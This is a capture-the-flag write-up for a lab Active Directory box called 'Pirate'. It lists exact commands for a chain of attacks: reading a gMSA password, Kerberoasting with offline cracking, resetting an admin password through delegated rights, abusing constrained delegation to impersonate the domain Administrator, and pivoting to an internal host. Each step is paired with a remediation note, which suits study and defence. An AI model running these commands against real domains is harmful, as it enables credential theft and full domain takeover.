Pirate
Summary
I leveraged a domain-joined workstation account with a trivially weak password to chain five compounding misconfigurations across pirate.htb: over-privileged Group Managed Service Account read rights yielded a service account hash; Kerberoasting that hash cracked a user credential; an excessive Active Directory write-permission allowed resetting a privileged admin account's password; and constrained delegation with protocol transition let me impersonate the domain Administrator and land a SYSTEM shell on the domain controller. A final reverse pivot reached an internal host to capture the remaining flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Confirm DC01 identity, domain name, and null-auth status; add DC01/pirate.htb to /etc/hosts.
$ nxc smb $TARGET --generate-hosts-file /tmp/pirate-hosts-checkVerify Kerberos/LDAP ports confirming DC role and read the DC system clock for skew calculation.
$ nmap -Pn -p 88,389,445,464 --script smb2-time $TARGETExact commands 2
Request a TGT for the machine account. Ticket saved to /tmp/MS01$.ccache.
$ faketime '+7 hours' impacket-getTGT pirate.htb/'MS01$':"$PASSWORD3" -dc-ip $TARGETConfirm the TGT was issued and note the expiry time.
$ klist -c /tmp/MS01\$.ccacheFixEnforce strong, unique passwords for all machine and service accountsCritical
Exact commands 1
Reads the managed-password blob over Kerberos as MS01$; extract the NT hash from the output.
$ KRB5CCNAME='/tmp/MS01$.ccache' faketime '+7 hours' bloodyAD -d pirate.htb -k --kdc dc01.pirate.htb -i $TARGET get object 'gMSA_ADFS_prod$' --attr msDS-ManagedPasswordFixRestrict which principals can read a gMSA's managed passwordHigh
Exact commands 2
Request TGS-REP hashes for all Kerberoastable accounts, authenticated as gMSA_ADFS_prod$.
$ faketime '+7 hours' impacket-GetUserSPNs -dc-ip $TARGET pirate.htb/'gMSA_ADFS_prod$' -hashes :$HASH -request -outputfile /tmp/pirate_kerberoast.hashesCrack the TGS-REP hash offline; recovers a.white's password.
$ hashcat -m 13100 /tmp/pirate_kerberoast.hashes /usr/share/wordlists/rockyou.txtFixHarden or eliminate Kerberoastable user accountsHigh
Exact commands 2
Force-reset a.white_adm's password using a.white's delegated write rights over that object.
$ bloodyAD -d pirate.htb -u a.white -p "$PASSWORD" -H dc01.pirate.htb -i $TARGET set password a.white_adm "$PASSWORD2"Confirm the new credential authenticates against the domain controller.
$ nxc smb $TARGET -u a.white_adm -p "$PASSWORD2" -d pirate.htbFixRemove write permissions between standard user accounts and privileged admin accountsCritical
Exact commands 2
Remove the HTTP/WEB01 SPN from WEB01$ computer object (-r flag = remove).
$ python3 /opt/krbrelayx/addspn.py -u 'pirate.htb\a.white_adm' -p "$PASSWORD2" -t 'WEB01$' -T samname -s 'HTTP/WEB01' -r -dc-ip $TARGET $TARGETRegister HTTP/WEB01 SPN on DC01$ so S4U2Proxy tickets are encrypted with the domain controller's own key.
$ python3 /opt/krbrelayx/addspn.py -u 'pirate.htb\a.white_adm' -p "$PASSWORD2" -t 'DC01$' -T samname -s 'HTTP/WEB01' -dc-ip $TARGET $TARGETFixRemove unconstrained protocol-transition delegation and restrict SPN write rightsCritical
Exact commands 1
S4U2Self + S4U2Proxy chain; produces Administrator@cifs_DC01@PIRATE.HTB.ccache in /tmp.
$ faketime '+7 hours' impacket-getST -dc-ip $TARGET -spn 'HTTP/WEB01' -altservice 'cifs/DC01' -impersonate Administrator "pirate.htb/a.white_adm:$PASSWORD2"Exact commands 4
Opens an interactive SYSTEM shell on DC01 using the forged Kerberos ticket.
$ KRB5CCNAME='/tmp/Administrator@cifs_DC01@PIRATE.HTB.ccache' faketime '+7 hours' impacket-psexec -k -no-pass -dc-ip $TARGET -target-ip $TARGET 'Administrator@DC01'Run from the SYSTEM shell; outputs <root.txt>.
$ cmd.exe /c type C:\Users\Administrator\Desktop\root.txtMint a second ticket rewritten for cifs/WEB01 to pivot to the internal host.
$ faketime '+7 hours' impacket-getST -dc-ip $TARGET -spn 'HTTP/WEB01' -altservice 'cifs/WEB01' -impersonate Administrator "pirate.htb/a.white_adm:$PASSWORD2"Retrieve user.txt from WEB01 via chisel SOCKS proxy; outputs <user.txt>.
$ KRB5CCNAME='/tmp/Administrator@cifs_WEB01@PIRATE.HTB.ccache' proxychains4 impacket-smbclient -k -no-pass 'Administrator@WEB01' -c 'get C:/Users/a.white/Desktop/user.txt /tmp/user.txt'Attack patterns used
The transferable techniques behind this compromise.
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).
Read more
Kerberos Delegation Abuse (S4U / RBCD)Active Directory · KerberosT1558
What it is
Kerberos delegation lets a service impersonate users to other services. Misconfigured constrained delegation (S4U2Self + S4U2Proxy) or resource-based constrained delegation (RBCD) can be abused: controlling a delegating account (or an account with write access to a target's msDS-AllowedToActOnBehalfOfOtherIdentity) lets an unauthorised user forge a service ticket as an arbitrary user (e.g. Administrator) to the target service.
Why it works
Delegation is powerful and easy to over-grant; combined with an 'altservice' SPN trick an unauthorised user can pivot the delegation to high-value services like CIFS/HOST on a DC. Remediate by minimizing delegation, marking sensitive accounts 'not delegatable', and adding them to Protected Users.
Read more
Exposed services
| 445/tcp | microsoft-ds |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.